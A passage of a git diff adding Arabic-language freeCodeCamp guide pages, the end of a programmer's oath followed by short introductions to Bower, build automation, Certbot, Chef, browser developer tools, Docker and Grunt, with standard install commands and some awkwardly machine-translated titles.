+> 5.  سوف أحاول بلا خوف وبلا هوادة تحسين إبداعاتي في كل فرصة. لن أتحلل أبدًا.
+
+في أي وقت تشاهد مشكلة في التعليمات البرمجية أو الاختبارات أو بنية الإصدار ، قم **بتحسينه** . حتى إذا كنت لا ترى مشكلة ، فابحث عن شفرتك وقل لنفسك: "أراهن أن هناك طريقة يمكن أن أجعلها أفضل. يمكنني تحسين ذلك بطريقة ما."
+
+نحن بشر ، نجعل الأمور أفضل. هذا ما يفعله البشر ، أو على الأقل ما نريد أن يفعله البشر. سنقوم باستمرار بتحسين الكود الخاص بنا ، ولن نحط من قدر ذلك. لا تجعل الأمور أسوأ.
+
+### وعد 6
+
+> 6.  سأفعل كل ما بوسعي للحفاظ على إنتاجية نفسي ، والآخرين ، على أعلى مستوى ممكن. لن أفعل أي شيء يقلل من هذه الإنتاجية.
+
+هذا هو كل شيء عن التفكير في زملائك في الفريق والمنتسبين. الأشخاص الذين يعملون معك ، والأشخاص الذين يعتمدون على شفرتك. على سبيل المثال ، لا تفعل أي شيء يبطئ أي شخص آخر. لا تكتب وظيفة تحتوي على عدد كبير من الحجج ، أو تحدث فوضى في رمز شخص آخر. لا تفعل ذلك لترميز يعتمد عليه الأشخاص الآخرون ، لأنه سيؤدي إلى **إبطائهم** .
+
+لا تضع اختبارات تشغيل طويلة في جناح الاختبار. حافظ على هذه الاختبارات تعمل بسرعة. النظر في زملائك في الفريق في جميع الأوقات. النظر في البيئة في جميع الأوقات. حافظ على كل شيء يسير بسرعة. لا تعرقل إنتاجيتهم.
+
+### وعد 7
+
+> 7.  سوف أضمن بشكل مستمر أن الآخرين يمكنهم تغطية لي ، وأنه يمكنني تغطية لهم.
+
+هذا شيء كثيرا ما نهمله. فنحن فريق ، والطريقة التي تتصرف بها الفرق ، هي أنه إذا ذهب زميل آخر إلى الفريق الآخر ، فإن زميلًا آخر في الفريق سيغطيها.
+
+ما يعنيه هذا في البرنامج هو أنك بحاجة إلى معرفة كيفية عمل الأشياء الخاصة بزملائك في الفريق ، وأين تكون نصوصهم ، وأين ملفاتهم ، وكيف يتم تنظيم الكود ، وما إلى ذلك.
+
+إذا نزلوا ، لا نريد أن يكون لدينا صوامع للمعرفة بفرقنا ، نريد أن تنتشر المعرفة حولها.
+
+إحدى الطرق للقيام بذلك هي من خلال برمجة الزوج. تأكد من أنه يمكنك تغطية لبعضها البعض.
+
+### وعد 8
+
+> 8.  سوف أخرج تقديرات صادقة من حيث الحجم والدقة. لن أقدم الوعود دون يقين.
+
+واحدة من أكبر المشاكل التي يواجهها المبرمجون ، هي أنهم يضعون تقديرات تعتبر بمثابة وعود. عندما تقوم بعمل تقدير ، عليك أن توضح أنه تخمين ، وليس تخمينًا جيدًا. أود أن أتأكد من أنه عندما تقوم بإجراء التقديرات ، فأنت تجعلها في ثلاثة أرقام: الحالة الأفضل ، الحالة الأسوأ ، والحالة الاسمية. تأكد من أن الجميع يعرف أن الحالة الأسوأ يمكن أن تحدث.
+
+لا تقدم الوعود بأنك لست متأكدًا من أنه يمكنك إكمالها. إذا قدمت وعدًا ، فعليك الاحتفاظ به.
+
+عندما يقول لك أحدهم "أحتاج إلى ذلك بحلول يوم الثلاثاء" ، ولا شك في أنك تستطيع إنجازه بحلول يوم الثلاثاء ، فإنك لا تعد بذلك. أنت تقول " **لا** ، لست متأكدًا من أنني أستطيع إنجاز ذلك بحلول يوم الثلاثاء." احترس بعناية شديدة ، لأن أحدهم قد يقول لك **لمحاولة** ، وإجابتك على ذلك ستكون "أنا أحاول بالفعل." أنت بالفعل تحاول أصعب ما لديك ، لذلك لا تدع أي شخص يقنعك بمحاولة أكثر صعوبة.
+
+### وعد 9
+
+> 9.  لن أتوقف أبداً عن التعلم وتحسين مهاراتي.
+
+هذا لا يحتاج إلى الكثير من الشرح. يجب أن تحاول دائمًا تعلم لغات جديدة ، وأطر عمل جديدة ، وتقنيات جديدة ، وأنظمة جديدة ، وعمليات جديدة. تحتاج إلى تطبيق ما تعلمته في ذلك الحين ، لإقناع حرفتك باستمرار.
+
+### وعد 10
+
+> 10.  سأقوم فقط بإنتاج رمز يتوافق مع الأخلاقيات.
+
+يجب أن يعمل المبرمجون على تطوير أنظمة الكمبيوتر التي يمكن أن تقلل من العواقب السلبية على المجتمع ، مثل التهديدات للسلامة والصحة ، والتي يمكن أن تجعل الأنشطة اليومية والعمل أسهل. إنه "التزام بالتطوير إلى مستويات عالية".
+
+### **فى الختام:**
+
+ربما يجب أن تكون هناك وعود أكثر ينبغي علينا أن نجعلها ، في الواقع ، **قد لا يكون** الكثير من هذه الوعود **عمليًا** . ومع ذلك ، فإن كل هذه الوعود تشعر بأنها مهمة بطريقة ما ، ومعقولة كقسم يقوم به مبرمج محترف.
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/bower/index.md b/client/src/guide/arabic/developer-tools/bower/index.md
new file mode 100644
index 0000000000..e8689d0c47
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/bower/index.md
@@ -0,0 +1,31 @@
+---
+title: Bower
+localeTitle: كوخ ريفي
+---
+## كوخ ريفي
+
+Bower هو مدير مجموعة للويب. يستطيع Bower إدارة المكونات التي تحتوي على HTML أو CSS أو JavaScript أو الخطوط أو حتى ملفات الصور. Bower هو الأمثل للواجهة الأمامية. إذا كانت الحزم المتعددة تعتمد على حزمة - jQuery على سبيل المثال - فإن Bower سيقوم بتنزيل jQuery مرة واحدة فقط. يُعرف هذا الرسم البياني برسوم تبعية مسطحة ويساعد في تقليل تحميل الصفحة.
+
+### تثبيت Bower
+
+Bower هو أداة مساعدة لسطر الأوامر. تثبيته مع npm.
+
+ `    npm install -g bower 
+` 
+
+### تثبيت الحزم
+
+تثبيت الحزم مع تثبيت bower. باور يثبت الحزم على bower\_components /.
+
+ `    bower install <package> 
+` 
+
+### معلومات اكثر:
+
+موقع Bower: [bower.io](https://bower.io)
+
+إدارة الموارد النهاية الأمامية مع Bower: [scotch.io](https://scotch.io/tutorials/manage-front-end-resources-with-bower)
+
+تبسيط سير عمل الويب مع Bower: [youtube](https://www.youtube.com/watch?v=Vs2wduoN9Ws)
+
+استخدام Bower مع Heroku: [متوسط](https://hackernoon.com/using-bower-with-heroku-cdc791320c88)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/build-automation/index.md b/client/src/guide/arabic/developer-tools/build-automation/index.md
new file mode 100644
index 0000000000..d8ff0ff057
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/build-automation/index.md
@@ -0,0 +1,41 @@
+---
+title: Build Automation
+localeTitle: بناء الأتمتة
+---
+## بناء الأتمتة
+
+البناء هو نسخة من البرنامج. يستخدم هذا المصطلح في إشارة إلى برنامج مازال قيد التطوير. إن إنشاء الأتمتة هو عملية أتمتة عملية إنشاء البرامج والعمليات المرتبطة بها بما في ذلك: ترجمة شفرة مصدر الكمبيوتر إلى رمز ثنائي ، وتعبئة رمز ثنائي ، وإجراء اختبارات مؤتمتة. يقوم برنامج أتمتة الإنشاء بأتمتة المهام التي يتم تنفيذها بشكل شائع في عملية تطوير البرامج. يتم أتمتة الإنشاء عندما تكون خطوات إنشاء البرنامج قابلة للتكرار ، ولا تتطلب تدخلًا بشريًا مباشرًا ويمكن إجراؤها في أي وقت بدون أي معلومات بخلاف ما يتم تخزينه في مستودع التحكم في التعليمات البرمجية المصدر. غالبا ما يتكامل برنامج أتمتة البناء مع منتجات اختبار البرمجيات ، وأنظمة التحكم في الإصدارات ، و IDEs ، وأدوات تتبع الأخطاء ومقدمي خدمات PaaS. تاريخيا ، تم تنفيذ أتمتة البناء من خلال "makefiles". اليوم ، هناك فئتان عامتان للأدوات اللازمة لبناء الأتمتة:
+
+## \- بناء أداة الأتمتة:
+
+والغرض الأساسي منه هو إنشاء مواد بناء من خلال أنشطة مثل تجميع وربط شفرة المصدر.
+
+## \- بناء خوادم الأتمتة:
+
+وهي أدوات عامة تستند إلى الويب تقوم بتنفيذ أدوات مساعدة للتشغيل التلقائي للبناء على أساس مجدول أو مشغل ؛ خادم التكامل المستمر هو نوع من خادم أتمتة البناء.
+
+هناك ثلاث فئات فرعية لبناء الأتمتة: التكامل المستمر ، وإدارة التكوين وغيرها من أتمتة البناء.
+
+فيما يلي قائمة ببعض الأدوات البارزة المرتبطة بأتمتة عمليات الإنشاء:
+
+*   جنو
+*   يصنع
+*   عضو الكنيست
+*   أباتشي آنت
+*   BitBake
+*   حذاء
+*   النينجا
+*   كيوت بناء نظام
+*   مجرفة
+*   كومة
+*   Psake
+*   MSBuild
+*   بناء المرئي
+*   مدمن المخدرات
+*   WAF
+*   [جنكينز](https://jenkins.io/)
+*   TeamCity وغيرها.
+
+#### معلومات اكثر:
+
+[ما هو بناء الأتمتة؟](https://www.agilealliance.org/glossary/automated-build/#q=~(filters~(postType~(~'page~'post~'aa_book~'aa_event_session~'aa_glossary~'aa_organizations~'aa_research_paper~'aa_video)~tags~(~'automated*20build))~searchTerm~'~sort~false~sortDirection~'asc~page~1)) [قائمة بناء برامج الأتمتة](https://en.m.wikipedia.org/wiki/List_of_build_automation_software) [بناء الأتمتة - ويكيبيديا](https://en.m.wikipedia.org/wiki/Build_automation) [Webopedia](https://www.webopedia.com/TERM/B/build.html) [بناء الأتمتة](https://www.g2crowd.com/categories/build-automation)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/certbot/index.md b/client/src/guide/arabic/developer-tools/certbot/index.md
new file mode 100644
index 0000000000..b6c3e84b01
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/certbot/index.md
@@ -0,0 +1,13 @@
+---
+title: Certbot
+localeTitle: Certbot
+---
+## Certbot
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/certbot/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+https://certbot.eff.org/ قم بتمكين HTTPS تلقائيًا على موقع الويب الخاص بك مع Certbot من EFF ، وقم بتوزيع شهادات Let Encrypt.
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/chef/index.md b/client/src/guide/arabic/developer-tools/chef/index.md
new file mode 100644
index 0000000000..ebac5a9ed4
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/chef/index.md
@@ -0,0 +1,74 @@
+---
+title: Chef
+localeTitle: زعيم
+---
+## طاه
+
+الشيف هو أداة أتمتة تعمل على تحويل البنية الأساسية إلى شفرة. بمعنى آخر ، إنها أداة تستخدم لأتمتة إنشاء البنية الأساسية وتكوينها. كما أنه يستخدم للحفاظ على البنية التحتية الخاصة بك بمجرد إنشائها.
+
+### لماذا استخدام الشيف
+
+هناك العديد من الأشياء التي يجب أخذها في الاعتبار قبل أن ينتقل التطبيق الذي تم إكماله واختباره بالكامل إلى الإنتاج. بعض الأشياء الرئيسية هي ،
+
+*   إنشاء البنية التحتية (سحابة أو في مرحلة ما قبل الأزمة)
+*   ترتيب
+*   الحفاظ على البنية التحتية
+
+يمكنك إنشاء البنية الأساسية يدويًا وتهيئتها وصيانتها. إنها عملية شاقة للغاية وفرص ارتكاب خطأ كبيرة. يتطلب دليل أي شيء الكثير من الاهتمام بالتفاصيل ، تدريب الآخرين في فريقك ومتابعة باستمرار للتأكد من أن كل شيء يعمل كما هو متوقع. إذا تطورت تطبيقاتك بسرعة ، في كل مرة تذهب إلى الإنتاج ، عليك القيام بكل هذه الأعمال يدويًا.
+
+الشيف هو الأداة التي تساعد في أتمتة هذه العملية. تكتب التعليمات البرمجية (يستخدم الشيف _روبي_ ) للبنية التحتية والتحكم فيها. سيقرأ الشيف هذا الرمز لإنشاء البنية الأساسية وتكوينها تلقائيًا. مزايا استخدام الشيف هي ،
+
+*   إنشاء بنية أساسية وتكوينها تلقائي
+*   المراقبة والحفظ الآلي
+*   فرص خطأ لا يكاد يذكر
+*   البنية التحتية هي مصدر للرقابة
+*   نشر التطبيق بسرعة وكثيرا ما
+
+### الصورة الكبيرة والمكونات
+
+![Chef big picture](https://docs.chef.io/_images/chef_overview.svg "نظرة عامة الشيف")
+
+المكونات الرئيسية هي ،
+
+*   كتاب الطبخ وصفات
+*   العقدة
+*   محطة العمل
+*   خادم الشيف
+*   عميل الشيف
+
+#### كتاب الطبخ وصفات
+
+كتاب الطبخ هو الوحدة الأساسية للتكوين. إنه يحدد سيناريو ويحتوي على كل ما هو مطلوب لدعم هذا السيناريو. يحتوي كتاب الطبخ على الأشياء التالية ،
+
+*   وصفات
+*   قيم السمات
+*   توزيعات الملفات
+*   قوالب
+*   الإضافات إلى الموارد المخصصة والمكتبات
+
+وصفة هي عنصر التكوين الأكثر أساسية. يتم تأليفه باستخدام _Ruby_ ويتكون من مجموعة من الموارد المطلوبة لتكوين نظام. يجب أن يتم تخزينها في كتاب الطبخ.
+
+#### العقدة
+
+العقدة هي أي آلة يتم إدارتها بواسطة الشيف. يمكن أن تكون مادية ، افتراضية ، سحابة ، جهاز شبكة ، إلخ.
+
+#### محطة العمل
+
+Workstation (المنطقة الزرقاء في الصورة الكبيرة) هو جهاز كمبيوتر يعمل على تشغيل مجموعة تطوير الشيف (ChefDK) لتطوير واختبار كتب الطبخ ووصفات الطعام. أساسا ، هو الجهاز المحلي الخاص بك حيث يمكنك كتابة واختبار البرامج النصية الشيف التي يتم استخدامها في وقت لاحق لأتمتة البنية التحتية. يتم تحميل البرامج النصية للشيف من Workstation إلى Chef Server بمجرد أن تصبح جاهزة.
+
+#### خادم الشيف
+
+يعمل خادم الطهاة كمركز لبيانات التكوين. يقوم بتخزين كافة بيانات التكوين مثل كتب الطبخ ، وصفات ، قوالب وتوزيعات الملفات اللازمة لإنشاء البنية التحتية وتكوينها.
+
+#### عميل الشيف
+
+عميل Chef هو عميل يتم تشغيله محليًا على كل نقطة يتم إدارتها بواسطة Chef. يتصل مع Server Chef للحصول على بيانات التكوين المطلوبة لتكوين العقدة. العميل Chef مسؤول عن تشغيل كافة الخطوات المطلوبة إحضار عقدة في الحالة المتوقعة. تتضمن الخطوات المختلفة ،
+
+*   تسجيل وتصديق العقدة مع خادم الشيف
+*   تزامن كتب الطبخ
+*   ترجمة وتشغيل الوصفات المطلوبة
+*   التعامل مع الاستثناءات والإخطارات
+
+#### معلومات اكثر:
+
+يمكن العثور على وثائق أكثر تفصيلاً هنا - [وثائق الشيف](https://docs.chef.io/chef_overview.html "طاه")
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/index.md b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/index.md
new file mode 100644
index 0000000000..bf79d42fa5
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/index.md
@@ -0,0 +1,25 @@
+---
+title: Chrome Developer Tools
+localeTitle: أدوات مطوري Chrome
+---
+## أدوات تطوير فايرفوكس كروم
+
+تساعد أدوات مطوري Chrome و Firefox مطوري الويب في تحليل HTML و CSS وجافا سكريبت على صفحة الويب. فهي مفيدة لتصحيح الأخطاء ، وتحسين الشفرة ، وفحص العناصر ، وأكثر من ذلك بكثير.
+
+**ميزات:**
+
+*   **مفتش الصفحة:** عرض وتحرير محتوى الصفحة والتخطيط.
+*   **وحدة تحكم الويب:** انظر javascript console.log () الرسائل و erros
+*   **مصحح جافا سكريبت Javascript:** عرض وتعديل JavaScript يعمل على صفحة
+*   **مراقبة الشبكة:** راجع طلبات الشبكة التي يتم إجراؤها عند تحميل الصفحات
+*   **أدوات الأداء:** تحليل موارد الكمبيوتر المستخدمة من قبل الموقع
+
+### الوصول إلى أدوات التطوير
+
+1.  في شريط القائمة بأعلى الشاشة ، حدد View> Developer> Developer Tools. ستظهر الأدوات في الجزء السفلي أو الجانبي أو كنافذة منبثقة.
+2.  على صفحة الويب ، انقر بزر الماوس الأيمن على عنصر. عندما تظهر القائمة اختر "فحص".
+
+### معلومات اكثر:
+
+*   [Chrome DevTools](https://developer.chrome.com/devtools)
+*   [فايرفوكس أدوات المطور](https://developer.mozilla.org/en-US/docs/Tools)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md
new file mode 100644
index 0000000000..730cca1c2c
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md
@@ -0,0 +1,11 @@
+---
+title: JavaScript Console
+localeTitle: وحدة تحكم جافا سكريبت
+---
+## وحدة تحكم جافا سكريبت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md
new file mode 100644
index 0000000000..492af3a53c
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md
@@ -0,0 +1,11 @@
+---
+title: JavaScript Debugger
+localeTitle: مصحح جافا سكريبت
+---
+## مصحح جافا سكريبت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md
new file mode 100644
index 0000000000..92dc768bd3
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md
@@ -0,0 +1,11 @@
+---
+title: Network Performance
+localeTitle: أداء الشبكة
+---
+## أداء الشبكة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md
new file mode 100644
index 0000000000..933531f30c
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md
@@ -0,0 +1,11 @@
+---
+title: Profiling Memory and Execution
+localeTitle: التنميط الذاكرة والتنفيذ
+---
+## التنميط الذاكرة والتنفيذ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md
new file mode 100644
index 0000000000..5ed2e37779
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md
@@ -0,0 +1,11 @@
+---
+title: Render Performance
+localeTitle: تقديم الأداء
+---
+## تقديم الأداء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/screenshot-utility/index.md b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/screenshot-utility/index.md
new file mode 100644
index 0000000000..ffdc844113
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/chrome-developer-tools/screenshot-utility/index.md
@@ -0,0 +1,15 @@
+---
+title: Useful screenshot shortcuts
+localeTitle: اختصارات لقطة شاشة مفيدة
+---
+### DevTools وظيفة قطة
+
+عند استخدام أدوات مطوري برامج Chrome ، قد يكون من المفيد التقاط لقطة شاشة للصفحة بأكملها. وعلى الرغم من وجود إضافات لتحقيق ذلك ، فإن google chrome يمتلك وظيفة خاصة به مضمنة.
+
+## خطوات
+
+1.  افتح Chrome Devtools
+2.  في Devtools Ctrl + P (Cmd + P على نظام التشغيل Mac)
+3.  ابدأ الكتابة> screenshot
+4.  اختر من بين الوظائف المتاحة (التقاط الصورة بالحجم الكامل كانت أكثر فائدة بالنسبة لي)
+5.  استمتع لقطة الشاشة الجديدة
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md
new file mode 100644
index 0000000000..bc2e906c94
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md
@@ -0,0 +1,11 @@
+---
+title: Firefox Developer Tools
+localeTitle: فايرفوكس أدوات المطور
+---
+## فايرفوكس أدوات المطور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/index.md b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/index.md
new file mode 100644
index 0000000000..b31d204bdd
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/index.md
@@ -0,0 +1,11 @@
+---
+title: Developer Tools in Browsers
+localeTitle: أدوات المطور في المتصفحات
+---
+## أدوات المطور في المتصفحات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md
new file mode 100644
index 0000000000..81e02c0f05
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md
@@ -0,0 +1,11 @@
+---
+title: Internet Explorer Developer Tools
+localeTitle: أدوات المطور إنترنت إكسبلورر
+---
+## أدوات المطور إنترنت إكسبلورر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/docker/index.md b/client/src/guide/arabic/developer-tools/docker/index.md
new file mode 100644
index 0000000000..662c14bf87
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/docker/index.md
@@ -0,0 +1,68 @@
+---
+title: Docker
+localeTitle: عامل ميناء
+---
+Docker هو برنامج مفتوح المصدر يهدف إلى تسهيل نشر التطبيقات. يوفر إمكانية بناء حاويات ، بما في ذلك نظام التشغيل ، المكتبات وكل ما تحتاجه لتشغيل التطبيق الخاص بك. لذلك ، يمكن نشر تطبيقك على أي جهاز. هيكل خفيف الوزن تمكنك من تشغيل عدة حاويات على نفس الجهاز. صورة الحاوية عبارة عن حزمة قابلة للتنفيذ ، خفيفة ، قائمة بذاتها ، لجزء من البرنامج يتضمن كل شيء هناك حاجة لتشغيلها.
+
+### الميزات
+
+تشترك حاويات Docker التي تعمل على جهاز واحد في نظام kernel الخاص بنظام التشغيل ؛ تبدأ على الفور وتستخدم أقل الحوسبة وذاكرة الوصول العشوائي. الصور هي بنيت من طبقات نظام الملفات ومشاركة الملفات المشتركة. هذا يقلل من استخدام القرص وتنزيلات الصور أسرع بكثير.
+
+تستند حاويات Docker على معايير مفتوحة وتعمل على جميع التوزيعات الرئيسية \* nix ، و Microsoft Windows ، وعلى أي بنية تحتية بما في ذلك VMs ، والمعادن العارية وفي السحابة.
+
+تقوم حاويات Docker بعزل التطبيقات من بعضها البعض ومن البنية التحتية الأساسية. يوفر Docker أقوى عزل افتراضي للحد من التطبيق القضايا إلى حاوية واحدة بدلا من الجهاز بأكمله.
+
+## نظرة عامة
+
+صورة الحاوية عبارة عن حزمة قابلة للتنفيذ ، خفيفة الوزن وقابلة للتنفيذ ، تحتوي على كل ما يلزم لتشغيلها: الكود ، وقت التشغيل ، أدوات النظام ، مكتبات النظام ، الإعدادات. وهي متوفرة لكل من تطبيقات Linux و Windows القائمة ، وستعمل البرامج الحاوية بشكل دائم على حالها ، بغض النظر عن البيئة. تقوم الحاويات بعزل البرامج من المناطق المحيطة بها ، على سبيل المثال ، الاختلافات بين بيئات التطوير والتدريج والمساعدة في تقليل النزاعات بين الفرق التي تقوم بتشغيل برامج مختلفة على نفس البنية التحتية.
+
+### أنظر أيضا
+
+*   Docker Compose: لإنشاء وإدارة عدة حاويات في نفس الوقت.
+
+### حاويات مقابل. الأجهزة الظاهرية
+
+*   تقوم الحاسبات الافتراضية بتشغيل نظام التشغيل مما يجعلها أكثر قابلية للحمل ، بينما تقوم أجهزة VM بتهيئة الأجهزة الافتراضية.
+*   الحاويات هي عبارة عن تجريد في طبقة التطبيق التي تقوم بتغليف التعليمة البرمجية والتبعيات معًا. أجهزة VM هي عبارة عن تجريد للأجهزة المادية التي تقوم بتحويل خادم واحد إلى العديد. Hypervisor يساعد VM للقيام بذلك.
+*   [حاويات غير VMS](https://blog.docker.com/2016/03/containers-are-not-vms/)
+
+### تركيب عامل الميناء
+
+يتوفر عامل الميناء في طبعتين: Community Edition (CE) و Enterprise Edition (EE).
+
+[تثبيته من هنا](https://docs.docker.com/engine/installation/)
+
+بمجرد تثبيت حاول هذا
+
+ `$ docker run hello-world 
+ 
+ Hello from Docker! 
+` 
+
+تظهر هذه الرسالة أن التثبيت الخاص بك يبدو أنه يعمل بشكل صحيح.
+
+### أين يمكن استخدام عامل الميناء
+
+*   [8 ثبت العالم الحقيقي طرق لاستخدام عامل الميناء](https://www.airpair.com/docker/posts/8-proven-real-world-ways-to-use-docker)
+    
+*   [ما هو عامل الميناء ومتى يستخدمه](https://www.ctl.io/developers/blog/post/what-is-docker-and-when-to-use-it/)
+    
+
+### دوكر دروس
+
+*   [كابل بيانات](https://docs.docker.com/get-started/)
+    
+*   [عامل الميناء للمبتدئين](https://docker-curriculum.com/)
+    
+*   [دوكر دروس ودروس](https://hackr.io/tutorials/learn-docker)
+    
+*   [تدريب عامل الميناء. تعلم عامل الميناء من عامل الميناء. التدريب دوكر الرسمية.](https://training.docker.com/)
+    
+
+#### معلومات اكثر:
+
+يمكنك العثور على الكثير من المعلومات في المواقع التالية:
+
+*   [موقع Docker](https://www.docker.com/)
+*   [مستندات Docker](https://docs.docker.com/)
+*   [DockerHub](https://hub.docker.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/grunt/index.md b/client/src/guide/arabic/developer-tools/grunt/index.md
new file mode 100644
index 0000000000..5b2867277f
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/grunt/index.md
@@ -0,0 +1,117 @@
+---
+title: Grunt
+localeTitle: أرض
+---
+## الناخر
+
+`Grunt` هو برنامج JavaScript Task Runner يمكنك استخدامه لأتمتة المهام المتكررة.
+
+### لماذا استخدام Grunt؟
+
+هناك العديد من المهام المتكررة في تطوير الويب. على سبيل المثال: ترجمة ، وتقليل ، ونسخ الملفات. يستغرق تنفيذ هذه المهام يدويًا الكثير من الجهد والوقت.
+
+سوف تجعل عملك أسهل مع Grunt. تحتاج فقط إلى تكوين المهام من خلال [Gruntfile](https://gruntjs.com/sample-gruntfile) .
+
+### ابدء
+
+1.  تثبيت [npm](https://www.npmjs.org/) .
+2.  تثبيت واجهة سطر الأوامر Grunt (CLI) على الصعيد العالمي مع `npm install -g grunt-cli` .
+3.  قائمة Grunt ومكونات Grunt مثل devDependencies في ملف `package.json` .
+4.  تثبيت Grunt والمكونات Grunt مع `npm i` .
+5.  قم بتكوين المهام في ملف `Gruntfile.js` .
